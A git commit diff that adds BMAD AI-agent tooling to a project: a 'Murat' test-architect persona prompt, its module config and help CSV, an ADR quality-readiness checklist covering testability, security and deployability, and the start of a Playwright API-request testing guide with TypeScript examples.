docs: update all documentation and add AI tooling configs

- Rewrite README.md with current architecture, features and stack
- Update docs/API.md with all current endpoints (corporate, BI, client 360)
- Update docs/ARCHITECTURE.md with cache, modular queries, services, ETL
- Update docs/GUIA-USUARIO.md for all roles (admin, corporate, agente)
- Add docs/INDEX.md documentation index
- Add PROJETO.md comprehensive project reference
- Add BI-CCC-Implementation-Guide.md
- Include AI agent configs (.claude, .agents, .gemini, _bmad)
- Add netbird VPN configuration
- Add status report

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
2026-03-19 13:29:03 -04:00
parent c5b377e788
commit 647cbec54f
3246 changed files with 479789 additions and 983 deletions

View File

@@ -0,0 +1,70 @@
---
name: bmad-tea
description: Master Test Architect and Quality Advisor. Use when the user asks to talk to Murat or requests the Test Architect.
---
# Murat
## Overview
This skill provides a Master Test Architect and Quality Advisor specializing in risk-based testing, fixture architecture, ATDD, API testing, backend services, UI automation, CI/CD governance, and scalable quality gates. Act as Murat — data-driven, strong opinions weakly held, speaking in risk calculations and impact assessments.
## Identity
Test architect specializing in risk-based testing, fixture architecture, ATDD, API testing, backend services, UI automation, CI/CD governance, and scalable quality gates. Equally proficient in pure API/service-layer testing (pytest, JUnit, Go test, xUnit, RSpec) as in browser-based E2E testing (Playwright, Cypress), consumer driven contract testing (Pact) and performance/load/chaos testing (k6). Supports GitHub Actions, GitLab CI, Jenkins, Azure DevOps, and Harness CI platforms.
## Communication Style
Blends data with gut instinct. "Strong opinions, weakly held" is their mantra. Speaks in risk calculations and impact assessments.
## Principles
- Risk-based testing - depth scales with impact
- Quality gates backed by data
- Tests mirror usage patterns (API, UI, or both)
- Flakiness is critical technical debt
- Tests first AI implements suite validates
- Calculate risk vs value for every testing decision
- Prefer lower test levels (unit > integration > E2E) when possible
- API tests are first-class citizens, not just UI support
## Critical Actions
- Consult `{project-root}/_bmad/tea/testarch/tea-index.csv` to select knowledge fragments under `knowledge/` and load only the files needed for the current task
- Load the referenced fragment(s) from `{project-root}/_bmad/tea/testarch/knowledge/` before giving recommendations
- Cross-check recommendations with the current official Playwright, Cypress, Pact, k6, pytest, JUnit, Go test, and CI platform documentation
You must fully embody this persona so the user gets the best experience and help they need, therefore its important to remember you must not break character until the users dismisses this persona.
When you are in this persona and the user calls a skill, this persona must carry through and remain active.
## Capabilities
| Code | Description | Skill |
| ---- | ---------------------------------------------------------------------------------------------------------------------------------- | ------------------------- |
| TMT | Teach Me Testing: Interactive learning companion - 7 progressive sessions teaching testing fundamentals through advanced practices | bmad-teach-me-testing |
| TF | Test Framework: Initialize production-ready test framework architecture | bmad-testarch-framework |
| AT | ATDD: Generate failing acceptance tests plus an implementation checklist before development | bmad-testarch-atdd |
| TA | Test Automation: Generate prioritized API/E2E tests, fixtures, and DoD summary for a story or feature | bmad-testarch-automate |
| TD | Test Design: Risk assessment plus coverage strategy for system or epic scope | bmad-testarch-test-design |
| TR | Trace Requirements: Map requirements to tests (Phase 1) and make quality gate decision (Phase 2) | bmad-testarch-trace |
| NR | Non-Functional Requirements: Assess NFRs and recommend actions | bmad-testarch-nfr |
| CI | Continuous Integration: Recommend and Scaffold CI/CD quality pipeline | bmad-testarch-ci |
| RV | Review Tests: Perform a quality check against written tests using comprehensive knowledge base and best practices | bmad-testarch-test-review |
## On Activation
1. **Load config via bmad-init skill** — Store all returned vars for use:
- Use `{user_name}` from config for greeting
- Use `{communication_language}` from config for all communications
- Store any other config variables as `{var-name}` and use appropriately
2. **Continue with steps below:**
- **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
- **Greet and present capabilities** — Greet `{user_name}` warmly by name, always speaking in `{communication_language}` and applying your persona throughout the session.
3. Remind the user they can invoke the `bmad-help` skill at any time for advice and then present the capabilities table from the Capabilities section above.
**STOP and WAIT for user input** — Do NOT execute menu items automatically. Accept a capability code, skill name, or fuzzy description match from the Capabilities table.
**CRITICAL Handling:** When user responds with a capability code (e.g., TMT, TF, AT), an exact registered skill name, or a fuzzy description match (e.g., "teach me testing", "continuous integration", "test framework"), invoke the corresponding skill from the Capabilities table. DO NOT invent capabilities on the fly or attempt to map arbitrary numeric inputs to skills.

View File

@@ -0,0 +1,14 @@
type: agent
name: bmad-tea
displayName: Murat
title: Master Test Architect and Quality Advisor
icon: "🧪"
capabilities: "risk-based testing, fixture architecture, ATDD, API testing, backend services, UI automation, CI/CD governance, scalable quality gates, consumer-driven contract testing, performance/load/chaos testing"
role: Master Test Architect
identity: "Test architect specializing in risk-based testing, fixture architecture, ATDD, API testing, backend services, UI automation, CI/CD governance, and scalable quality gates. Equally proficient in pure API/service-layer testing (pytest, JUnit, Go test, xUnit, RSpec) as in browser-based E2E testing (Playwright, Cypress), consumer driven contract testing (Pact) and performance/load/chaos testing (k6). Supports GitHub Actions, GitLab CI, Jenkins, Azure DevOps, and Harness CI platforms."
communicationStyle: "Blends data with gut instinct. 'Strong opinions, weakly held' is their mantra. Speaks in risk calculations and impact assessments."
principles: "Risk-based testing - depth scales with impact. Quality gates backed by data. Tests mirror usage patterns (API, UI, or both). Flakiness is critical technical debt. Tests first AI implements suite validates. Calculate risk vs value for every testing decision. Prefer lower test levels (unit > integration > E2E) when possible. API tests are first-class citizens, not just UI support."
module: tea
canonicalId: bmad-tea
webskip: true
hasSidecar: false

25
_bmad/tea/config.yaml Normal file
View File

@@ -0,0 +1,25 @@
# TEA Module Configuration
# Generated by BMAD installer
# Version: 6.2.0
# Date: 2026-03-19T17:08:07.605Z
test_artifacts: "{project-root}/_bmad-output/test-artifacts"
tea_use_playwright_utils: true
tea_use_pactjs_utils: true
tea_pact_mcp: mcp
tea_browser_automation: auto
tea_execution_mode: auto
tea_capability_probe: true
test_stack_type: auto
ci_platform: auto
test_framework: playwright
risk_threshold: p1
test_design_output: _bmad-output/test-artifacts/_bmad-output/test-artifacts/test-design
test_review_output: _bmad-output/test-artifacts/_bmad-output/test-artifacts/test-reviews
trace_output: _bmad-output/test-artifacts/_bmad-output/test-artifacts/traceability
# Core Configuration Values
user_name: Cassel
communication_language: English
document_output_language: English
output_folder: "{project-root}/_bmad-output"

10
_bmad/tea/module-help.csv Normal file
View File

@@ -0,0 +1,10 @@
module,phase,name,code,sequence,workflow-file,command,required,agent,options,description,output-location,outputs,
tea,0-learning,Teach Me Testing,TMT,10,skill:bmad-teach-me-testing,bmad-tea-teach-me-testing,false,tea,Create Mode,"Teach testing fundamentals through 7 sessions (TEA Academy)",test_artifacts,"progress file|session notes|certificate",
tea,3-solutioning,Test Design,TD,10,skill:bmad-testarch-test-design,bmad-tea-testarch-test-design,false,tea,Create Mode,"Risk-based test planning",test_artifacts,"test design document",
tea,3-solutioning,Test Framework,TF,20,skill:bmad-testarch-framework,bmad-tea-testarch-framework,false,tea,Create Mode,"Initialize production-ready test framework",test_artifacts,"framework scaffold",
tea,3-solutioning,CI Setup,CI,30,skill:bmad-testarch-ci,bmad-tea-testarch-ci,false,tea,Create Mode,"Configure CI/CD quality pipeline",test_artifacts,"ci config",
tea,4-implementation,ATDD,AT,10,skill:bmad-testarch-atdd,bmad-tea-testarch-atdd,false,tea,Create Mode,"Generate failing tests (TDD red phase)",test_artifacts,"atdd tests",
tea,4-implementation,Test Automation,TA,20,skill:bmad-testarch-automate,bmad-tea-testarch-automate,false,tea,Create Mode,"Expand test coverage",test_artifacts,"test suite",
tea,4-implementation,Test Review,RV,30,skill:bmad-testarch-test-review,bmad-tea-testarch-test-review,false,tea,Validate Mode,"Quality audit (0-100 scoring)",test_artifacts,"review report",
tea,4-implementation,NFR Assessment,NR,40,skill:bmad-testarch-nfr,bmad-tea-testarch-nfr,false,tea,Create Mode,"Non-functional requirements",test_artifacts,"nfr report",
tea,4-implementation,Traceability,TR,50,skill:bmad-testarch-trace,bmad-tea-testarch-trace,false,tea,Create Mode,"Coverage traceability and gate",test_artifacts,"traceability matrix|gate decision",
1 module phase name code sequence workflow-file command required agent options description output-location outputs
2 tea 0-learning Teach Me Testing TMT 10 skill:bmad-teach-me-testing bmad-tea-teach-me-testing false tea Create Mode Teach testing fundamentals through 7 sessions (TEA Academy) test_artifacts progress file|session notes|certificate
3 tea 3-solutioning Test Design TD 10 skill:bmad-testarch-test-design bmad-tea-testarch-test-design false tea Create Mode Risk-based test planning test_artifacts test design document
4 tea 3-solutioning Test Framework TF 20 skill:bmad-testarch-framework bmad-tea-testarch-framework false tea Create Mode Initialize production-ready test framework test_artifacts framework scaffold
5 tea 3-solutioning CI Setup CI 30 skill:bmad-testarch-ci bmad-tea-testarch-ci false tea Create Mode Configure CI/CD quality pipeline test_artifacts ci config
6 tea 4-implementation ATDD AT 10 skill:bmad-testarch-atdd bmad-tea-testarch-atdd false tea Create Mode Generate failing tests (TDD red phase) test_artifacts atdd tests
7 tea 4-implementation Test Automation TA 20 skill:bmad-testarch-automate bmad-tea-testarch-automate false tea Create Mode Expand test coverage test_artifacts test suite
8 tea 4-implementation Test Review RV 30 skill:bmad-testarch-test-review bmad-tea-testarch-test-review false tea Validate Mode Quality audit (0-100 scoring) test_artifacts review report
9 tea 4-implementation NFR Assessment NR 40 skill:bmad-testarch-nfr bmad-tea-testarch-nfr false tea Create Mode Non-functional requirements test_artifacts nfr report
10 tea 4-implementation Traceability TR 50 skill:bmad-testarch-trace bmad-tea-testarch-trace false tea Create Mode Coverage traceability and gate test_artifacts traceability matrix|gate decision

View File

@@ -0,0 +1,377 @@
# ADR Quality Readiness Checklist
**Purpose:** Standardized 8-category, 29-criteria framework for evaluating system testability and NFR compliance during architecture review (Phase 3) and NFR assessment.
**When to Use:**
- System-level test design (Phase 3): Identify testability gaps in architecture
- NFR assessment workflow: Structured evaluation with evidence
- Gate decisions: Quantifiable criteria (X/29 met = PASS/CONCERNS/FAIL)
**How to Use:**
1. For each criterion, assess status: ✅ Covered / ⚠️ Gap / ⬜ Not Assessed
2. Document gap description if ⚠️
3. Describe risk if criterion unmet
4. Map to test scenarios (what tests validate this criterion)
---
## 1. Testability & Automation
**Question:** Can we verify this effectively without manual toil?
| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) |
| --- | ------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------- | ------------------------------------------------------------------------------------------------------- |
| 1.1 | **Isolation:** Can the service be tested with all downstream dependencies (DBs, APIs, Queues) mocked or stubbed? | Flaky tests; inability to test in isolation | P1: Service runs with mocked DB, P1: Service runs with mocked API, P2: Integration tests with real deps |
| 1.2 | **Headless Interaction:** Is 100% of the business logic accessible via API (REST/gRPC) to bypass the UI for testing? | Slow, brittle UI-based automation | P0: All core logic callable via API, P1: No UI dependency for critical paths |
| 1.3 | **State Control:** Do we have "Seeding APIs" or scripts to inject specific data states (e.g., "User with expired subscription") instantly? | Long setup times; inability to test edge cases | P0: Seed baseline data, P0: Inject edge case data states, P1: Cleanup after tests |
| 1.4 | **Sample Requests:** Are there valid and invalid cURL/JSON sample requests provided in the design doc for QA to build upon? | Ambiguity on how to consume the service | P1: Valid request succeeds, P1: Invalid request fails with clear error |
**Common Gaps:**
- No mock endpoints for external services (Athena, Milvus, third-party APIs)
- Business logic tightly coupled to UI (requires E2E tests for everything)
- No seeding APIs (manual database setup required)
- ADR has architecture diagrams but no sample API requests
**Mitigation Examples:**
- 1.1 (Isolation): Provide mock endpoints, dependency injection, interface abstractions
- 1.2 (Headless): Expose all business logic via REST/GraphQL APIs
- 1.3 (State Control): Implement `/api/test-data` seeding endpoints (dev/staging only)
- 1.4 (Sample Requests): Add "Example API Calls" section to ADR with cURL commands
---
## 2. Test Data Strategy
**Question:** How do we fuel our tests safely?
| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) |
| --- | ------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | ---------------------------------------------------------------------------------------------- |
| 2.1 | **Segregation:** Does the design support multi-tenancy or specific headers (e.g., x-test-user) to keep test data out of prod metrics? | Skewed business analytics; data pollution | P0: Multi-tenant isolation (customer A ≠ customer B), P1: Test data excluded from prod metrics |
| 2.2 | **Generation:** Can we use synthetic data, or do we rely on scrubbing production data (GDPR/PII risk)? | Privacy violations; dependency on stale data | P0: Faker-based synthetic data, P1: No production data in tests |
| 2.3 | **Teardown:** Is there a mechanism to "reset" the environment or clean up data after destructive tests? | Environment rot; subsequent test failures | P0: Automated cleanup after tests, P2: Environment reset script |
**Common Gaps:**
- No `customer_id` scoping in queries (cross-tenant data leakage risk)
- Reliance on production data dumps (GDPR/PII violations)
- No cleanup mechanism (tests leave data behind, polluting environment)
**Mitigation Examples:**
- 2.1 (Segregation): Enforce `customer_id` in all queries, add test-specific headers
- 2.2 (Generation): Use Faker library, create synthetic data generators, prohibit prod dumps
- 2.3 (Teardown): Auto-cleanup hooks in test framework, isolated test customer IDs
---
## 3. Scalability & Availability
**Question:** Can it grow, and will it stay up?
| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) |
| --- | --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
| 3.1 | **Statelessness:** Is the service stateless? If not, how is session state replicated across instances? | Inability to auto-scale horizontally | P1: Service restart mid-request → no data loss, P2: Horizontal scaling under load |
| 3.2 | **Bottlenecks:** Have we identified the weakest link (e.g., database connections, API rate limits) under load? | System crash during peak traffic | P2: Load test identifies bottleneck, P2: Connection pool exhaustion handled |
| 3.3 | **SLA Definitions:** What is the target Availability (e.g., 99.9%) and does the architecture support redundancy to meet it? | Breach of contract; customer churn | P1: Availability target defined, P2: Redundancy validated (multi-region/zone) |
| 3.4 | **Circuit Breakers:** If a dependency fails, does this service fail fast or hang? | Cascading failures taking down the whole platform | P1: Circuit breaker opens on 5 failures, P1: Auto-reset after recovery, P2: Timeout prevents hanging |
**Common Gaps:**
- Stateful session management (can't scale horizontally)
- No load testing, bottlenecks unknown
- SLA undefined or unrealistic (99.99% without redundancy)
- No circuit breakers (cascading failures)
**Mitigation Examples:**
- 3.1 (Statelessness): Externalize session to Redis/JWT, design for horizontal scaling
- 3.2 (Bottlenecks): Load test with k6, monitor connection pools, identify weak links
- 3.3 (SLA): Define realistic SLA (99.9% = 43 min/month downtime), add redundancy
- 3.4 (Circuit Breakers): Implement circuit breakers (Hystrix pattern), fail fast on errors
---
## 4. Disaster Recovery (DR)
**Question:** What happens when the worst-case scenario occurs?
| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) |
| --- | -------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------- |
| 4.1 | **RTO/RPO:** What is the Recovery Time Objective (how long to restore) and Recovery Point Objective (max data loss)? | Extended outages; data loss liability | P2: RTO defined and tested, P2: RPO validated (backup frequency) |
| 4.2 | **Failover:** Is region/zone failover automated or manual? Has it been practiced? | "Heroics" required during outages; human error | P2: Automated failover works, P2: Manual failover documented and tested |
| 4.3 | **Backups:** Are backups immutable and tested for restoration integrity? | Ransomware vulnerability; corrupted backups | P2: Backup restore succeeds, P2: Backup immutability validated |
**Common Gaps:**
- RTO/RPO undefined (no recovery plan)
- Failover never tested (manual process, prone to errors)
- Backups exist but restoration never validated (untested backups = no backups)
**Mitigation Examples:**
- 4.1 (RTO/RPO): Define RTO (e.g., 4 hours) and RPO (e.g., 1 hour), document recovery procedures
- 4.2 (Failover): Automate multi-region failover, practice failover drills quarterly
- 4.3 (Backups): Implement immutable backups (S3 versioning), test restore monthly
---
## 5. Security
**Question:** Is the design safe by default?
| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) |
| --- | ---------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------- |
| 5.1 | **AuthN/AuthZ:** Does it implement standard protocols (OAuth2/OIDC)? Are permissions granular (Least Privilege)? | Unauthorized access; data leaks | P0: OAuth flow works, P0: Expired token rejected, P0: Insufficient permissions return 403, P1: Scope enforcement |
| 5.2 | **Encryption:** Is data encrypted at rest (DB) and in transit (TLS)? | Compliance violations; data theft | P1: Milvus data-at-rest encrypted, P1: TLS 1.2+ enforced, P2: Certificate rotation works |
| 5.3 | **Secrets:** Are API keys/passwords stored in a Vault (not in code or config files)? | Credentials leaked in git history | P1: No hardcoded secrets in code, P1: Secrets loaded from AWS Secrets Manager |
| 5.4 | **Input Validation:** Are inputs sanitized against Injection attacks (SQLi, XSS)? | System compromise via malicious payloads | P1: SQL injection sanitized, P1: XSS escaped, P2: Command injection prevented |
**Common Gaps:**
- Weak authentication (no OAuth, hardcoded API keys)
- No encryption at rest (plaintext in database)
- Secrets in git (API keys, passwords in config files)
- No input validation (vulnerable to SQLi, XSS, command injection)
**Mitigation Examples:**
- 5.1 (AuthN/AuthZ): Implement OAuth 2.1/OIDC, enforce least privilege, validate scopes
- 5.2 (Encryption): Enable TDE (Transparent Data Encryption), enforce TLS 1.2+
- 5.3 (Secrets): Migrate to AWS Secrets Manager/Vault, scan git history for leaks
- 5.4 (Input Validation): Sanitize all inputs, use parameterized queries, escape outputs
---
## 6. Monitorability, Debuggability & Manageability
**Question:** Can we operate and fix this in production?
| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) |
| --- | ---------------------------------------------------------------------------------------------------- | -------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
| 6.1 | **Tracing:** Does the service propagate W3C Trace Context / Correlation IDs for distributed tracing? | Impossible to debug errors across microservices | P2: W3C Trace Context propagated (EventBridge → Lambda → Service), P2: Correlation ID in all logs |
| 6.2 | **Logs:** Can log levels (INFO vs DEBUG) be toggled dynamically without a redeploy? | Inability to diagnose issues in real-time | P2: Log level toggle works without redeploy, P2: Logs structured (JSON format) |
| 6.3 | **Metrics:** Does it expose RED metrics (Rate, Errors, Duration) for Prometheus/Datadog? | Flying blind regarding system health | P2: /metrics endpoint exposes RED metrics, P2: Prometheus/Datadog scrapes successfully |
| 6.4 | **Config:** Is configuration externalized? Can we change behavior without a code build? | Rigid system; full deploys needed for minor tweaks | P2: Config change without code build, P2: Feature flags toggle behavior |
**Common Gaps:**
- No distributed tracing (can't debug across microservices)
- Static log levels (requires redeploy to enable DEBUG)
- No metrics endpoint (blind to system health)
- Configuration hardcoded (requires full deploy for minor changes)
**Mitigation Examples:**
- 6.1 (Tracing): Implement W3C Trace Context, add correlation IDs to all logs
- 6.2 (Logs): Use dynamic log levels (environment variable), structured logging (JSON)
- 6.3 (Metrics): Expose /metrics endpoint, track RED metrics (Rate, Errors, Duration)
- 6.4 (Config): Externalize config (AWS SSM/AppConfig), use feature flags (LaunchDarkly)
---
## 7. QoS (Quality of Service) & QoE (Quality of Experience)
**Question:** How does it perform, and how does it feel?
| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) |
| --- | ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------ | ----------------------------------------------------------------------------------------------- |
| 7.1 | **Latency (QoS):** What are the P95 and P99 latency targets? | Slow API responses affecting throughput | P3: P95 latency <Xs (load test), P3: P99 latency <Ys (load test) |
| 7.2 | **Throttling (QoS):** Is there Rate Limiting to prevent "noisy neighbors" or DDoS? | Service degradation for all users due to one bad actor | P2: Rate limiting enforced, P2: 429 returned when limit exceeded |
| 7.3 | **Perceived Performance (QoE):** Does the UI show optimistic updates or skeletons while loading? | App feels sluggish to the user | P2: Skeleton/spinner shown while loading (E2E), P2: Optimistic updates (E2E) |
| 7.4 | **Degradation (QoE):** If the service is slow, does it show a friendly message or a raw stack trace? | Poor user trust; frustration | P2: Friendly error message shown (not stack trace), P1: Error boundary catches exceptions (E2E) |
**Common Gaps:**
- Latency targets undefined (no SLOs)
- No rate limiting (vulnerable to DDoS, noisy neighbors)
- Poor perceived performance (blank screen while loading)
- Raw error messages (stack traces exposed to users)
**Mitigation Examples:**
- 7.1 (Latency): Define SLOs (P95 <2s, P99 <5s), load test to validate
- 7.2 (Throttling): Implement rate limiting (per-user, per-IP), return 429 with Retry-After
- 7.3 (Perceived Performance): Add skeleton screens, optimistic updates, progressive loading
- 7.4 (Degradation): Implement error boundaries, show friendly messages, log stack traces server-side
---
## 8. Deployability
**Question:** How easily can we ship this?
| # | Criterion | Risk if Unmet | Typical Test Scenarios (P0-P2) |
| --- | ------------------------------------------------------------------------------------------ | ------------------------------------------------------ | ------------------------------------------------------------------------------ |
| 8.1 | **Zero Downtime:** Does the design support Blue/Green or Canary deployments? | Maintenance windows required (downtime) | P2: Blue/Green deployment works, P2: Canary deployment gradual rollout |
| 8.2 | **Backward Compatibility:** Can we deploy the DB changes separately from the Code changes? | "Lock-step" deployments; high risk of breaking changes | P2: DB migration before code deploy, P2: Code handles old and new schema |
| 8.3 | **Rollback:** Is there an automated rollback trigger if Health Checks fail post-deploy? | Prolonged outages after a bad deploy | P2: Health check fails automated rollback, P2: Rollback completes within RTO |
**Common Gaps:**
- No zero-downtime strategy (requires maintenance window)
- Tight coupling between DB and code (lock-step deployments)
- No automated rollback (manual intervention required)
**Mitigation Examples:**
- 8.1 (Zero Downtime): Implement Blue/Green or Canary deployments, use feature flags
- 8.2 (Backward Compatibility): Separate DB migrations from code deploys, support N-1 schema
- 8.3 (Rollback): Automate rollback on health check failures, test rollback procedures
---
## Usage in Test Design Workflow
**System-Level Mode (Phase 3):**
**In test-design-architecture.md:**
- Add "NFR Testability Requirements" section after ASRs
- Use 8 categories with checkboxes (29 criteria)
- For each criterion: Status (⬜ Not Assessed, Gap, Covered), Gap description, Risk if unmet
- Example:
```markdown
## NFR Testability Requirements
**Based on ADR Quality Readiness Checklist**
### 1. Testability & Automation
Can we verify this effectively without manual toil?
| Criterion | Status | Gap/Requirement | Risk if Unmet |
| ---------------------------------------------------------------- | --------------- | ------------------------------------ | --------------------------------------- |
| ⬜ Isolation: Can service be tested with downstream deps mocked? | ⚠️ Gap | No mock endpoints for Athena queries | Flaky tests; can't test in isolation |
| ⬜ Headless: 100% business logic accessible via API? | ✅ Covered | All MCP tools are REST APIs | N/A |
| ⬜ State Control: Seeding APIs to inject data states? | ⚠️ Gap | Need `/api/test-data` endpoints | Long setup times; can't test edge cases |
| ⬜ Sample Requests: Valid/invalid cURL/JSON samples provided? | ⬜ Not Assessed | Pending ADR Tool schemas finalized | Ambiguity on how to consume service |
**Actions Required:**
- [ ] Backend: Implement mock endpoints for Athena (R-002 blocker)
- [ ] Backend: Implement `/api/test-data` seeding APIs (R-002 blocker)
- [ ] PM: Finalize ADR Tool schemas with sample requests (Q4)
```
**In test-design-qa.md:**
- Map each criterion to test scenarios
- Add "NFR Test Coverage Plan" section with P0/P1/P2 priority for each category
- Reference Architecture doc gaps
- Example:
```markdown
## NFR Test Coverage Plan
**Based on ADR Quality Readiness Checklist**
### 1. Testability & Automation (4 criteria)
**Prerequisites from Architecture doc:**
- [ ] R-002: Test data seeding APIs implemented (blocker)
- [ ] Mock endpoints available for Athena queries
| Criterion | Test Scenarios | Priority | Test Count | Owner |
| ------------------------------- | -------------------------------------------------------------------- | -------- | ---------- | ---------------- |
| Isolation: Mock downstream deps | Mock Athena queries, Mock Milvus, Service runs isolated | P1 | 3 | Backend Dev + QA |
| Headless: API-accessible logic | All MCP tools callable via REST, No UI dependency for business logic | P0 | 5 | QA |
| State Control: Seeding APIs | Create test customer, Seed 1000 transactions, Inject edge cases | P0 | 4 | QA |
| Sample Requests: cURL examples | Valid request succeeds, Invalid request fails with clear error | P1 | 2 | QA |
**Detailed Test Scenarios:**
- [ ] Isolation: Service runs with Athena mocked (returns fixture data)
- [ ] Isolation: Service runs with Milvus mocked (returns ANN fixture)
- [ ] State Control: Seed test customer with 1000 baseline transactions
- [ ] State Control: Inject edge case (expired subscription user)
```
---
## Usage in NFR Assessment Workflow
**Output Structure:**
```markdown
# NFR Assessment: {Feature Name}
**Based on ADR Quality Readiness Checklist (8 categories, 29 criteria)**
## Assessment Summary
| Category | Status | Criteria Met | Evidence | Next Action |
| ----------------------------- | ----------- | ------------ | -------------------------------------- | -------------------- |
| 1. Testability & Automation | ⚠️ CONCERNS | 2/4 | Mock endpoints missing | Implement R-002 |
| 2. Test Data Strategy | ✅ PASS | 3/3 | Faker + auto-cleanup | None |
| 3. Scalability & Availability | ⚠️ CONCERNS | 1/4 | SLA undefined | Define SLA |
| 4. Disaster Recovery | ⚠️ CONCERNS | 0/3 | No RTO/RPO defined | Define recovery plan |
| 5. Security | ✅ PASS | 4/4 | OAuth 2.1 + TLS + Vault + Sanitization | None |
| 6. Monitorability | ⚠️ CONCERNS | 2/4 | No metrics endpoint | Add /metrics |
| 7. QoS & QoE | ⚠️ CONCERNS | 1/4 | Latency targets undefined | Define SLOs |
| 8. Deployability | ✅ PASS | 3/3 | Blue/Green + DB migrations + Rollback | None |
**Overall:** 14/29 criteria met (48%) → ⚠️ CONCERNS
**Gate Decision:** CONCERNS (requires mitigation plan before GA)
---
## Detailed Assessment
### 1. Testability & Automation (2/4 criteria met)
**Question:** Can we verify this effectively without manual toil?
| Criterion | Status | Evidence | Gap/Action |
| ---------------------------- | ------ | ------------------------ | -------------------------- |
| ⬜ Isolation: Mock deps | ⚠️ | No Athena mock | Implement mock endpoints |
| ⬜ Headless: API-accessible | ✅ | All MCP tools are REST | N/A |
| ⬜ State Control: Seeding | ⚠️ | `/api/test-data` pending | Pre-implementation blocker |
| ⬜ Sample Requests: Examples | ⬜ | Pending schemas | Finalize ADR Tools |
**Overall Status:** ⚠️ CONCERNS (2/4 criteria met)
**Next Actions:**
- [ ] Backend: Implement Athena mock endpoints (pre-implementation)
- [ ] Backend: Implement `/api/test-data` (pre-implementation)
- [ ] PM: Finalize sample requests (implementation phase)
{Repeat for all 8 categories}
```
---
## Benefits
**For test-design workflow:**
- Standard NFR structure (same 8 categories every project)
- Clear testability requirements for Architecture team
- Direct mapping: criterion requirement test scenario
- Comprehensive coverage (29 criteria = no blind spots)
**For nfr-assess workflow:**
- Structured assessment (not ad-hoc)
- Quantifiable (X/29 criteria met)
- Evidence-based (each criterion has evidence field)
- Actionable (gaps next actions with owners)
**For Architecture teams:**
- Clear checklist (29 yes/no questions)
- Risk-aware (each criterion has "risk if unmet")
- Scoped work (only implement what's needed, not everything)
**For QA teams:**
- Comprehensive test coverage (29 criteria test scenarios)
- Clear priorities (P0 for security/isolation, P1 for monitoring, etc.)
- No ambiguity (each criterion has specific test scenarios)

View File

@@ -0,0 +1,563 @@
# API Request Utility
## Principle
Use typed HTTP client with built-in schema validation and automatic retry for server errors. The utility handles URL resolution, header management, response parsing, and single-line response validation with proper TypeScript support. **Works without a browser** - ideal for pure API/service testing.
## Rationale
Vanilla Playwright's request API requires boilerplate for common patterns:
- Manual JSON parsing (`await response.json()`)
- Repetitive status code checking
- No built-in retry logic for transient failures
- No schema validation
- Complex URL construction
The `apiRequest` utility provides:
- **Automatic JSON parsing**: Response body pre-parsed
- **Built-in retry**: 5xx errors retry with exponential backoff
- **Schema validation**: Single-line validation (JSON Schema, Zod, OpenAPI)
- **URL resolution**: Four-tier strategy (explicit > config > Playwright > direct)
- **TypeScript generics**: Type-safe response bodies
- **No browser required**: Pure API testing without browser overhead
## Pattern Examples
### Example 1: Basic API Request
**Context**: Making authenticated API requests with automatic retry and type safety.
**Implementation**:
```typescript
import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
test('should fetch user data', async ({ apiRequest }) => {
const { status, body } = await apiRequest<User>({
method: 'GET',
path: '/api/users/123',
headers: { Authorization: 'Bearer token' },
});
expect(status).toBe(200);
expect(body.name).toBe('John Doe'); // TypeScript knows body is User
});
```
**Key Points**:
- Generic type `<User>` provides TypeScript autocomplete for `body`
- Status and body destructured from response
- Headers passed as object
- Automatic retry for 5xx errors (configurable)
### Example 2: Schema Validation (Single Line)
**Context**: Validate API responses match expected schema with single-line syntax.
**Implementation**:
```typescript
import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
import { z } from 'zod';
// JSON Schema validation
test('should validate response schema (JSON Schema)', async ({ apiRequest }) => {
const { status, body } = await apiRequest({
method: 'GET',
path: '/api/users/123',
validateSchema: {
type: 'object',
required: ['id', 'name', 'email'],
properties: {
id: { type: 'string' },
name: { type: 'string' },
email: { type: 'string', format: 'email' },
},
},
});
// Throws if schema validation fails
expect(status).toBe(200);
});
// Zod schema validation
const UserSchema = z.object({
id: z.string(),
name: z.string(),
email: z.string().email(),
});
test('should validate response schema (Zod)', async ({ apiRequest }) => {
const { status, body } = await apiRequest({
method: 'GET',
path: '/api/users/123',
validateSchema: UserSchema,
});
// Response body is type-safe AND validated
expect(status).toBe(200);
expect(body.email).toContain('@');
});
```
**Key Points**:
- Single `validateSchema` parameter
- Supports JSON Schema, Zod, YAML files, OpenAPI specs
- Throws on validation failure with detailed errors
- Zero boilerplate validation code
### Example 3: POST with Body and Retry Configuration
**Context**: Creating resources with custom retry behavior for error testing.
**Implementation**:
```typescript
test('should create user', async ({ apiRequest }) => {
const newUser = {
name: 'Jane Doe',
email: 'jane@example.com',
};
const { status, body } = await apiRequest({
method: 'POST',
path: '/api/users',
body: newUser, // Automatically sent as JSON
headers: { Authorization: 'Bearer token' },
});
expect(status).toBe(201);
expect(body.id).toBeDefined();
});
// Disable retry for error testing
test('should handle 500 errors', async ({ apiRequest }) => {
await expect(
apiRequest({
method: 'GET',
path: '/api/error',
retryConfig: { maxRetries: 0 }, // Disable retry
}),
).rejects.toThrow('Request failed with status 500');
});
```
**Key Points**:
- `body` parameter auto-serializes to JSON
- Default retry: 5xx errors, 3 retries, exponential backoff
- Disable retry with `retryConfig: { maxRetries: 0 }`
- Only 5xx errors retry (4xx errors fail immediately)
### Example 4: URL Resolution Strategy
**Context**: Flexible URL handling for different environments and test contexts.
**Implementation**:
```typescript
// Strategy 1: Explicit baseUrl (highest priority)
await apiRequest({
method: 'GET',
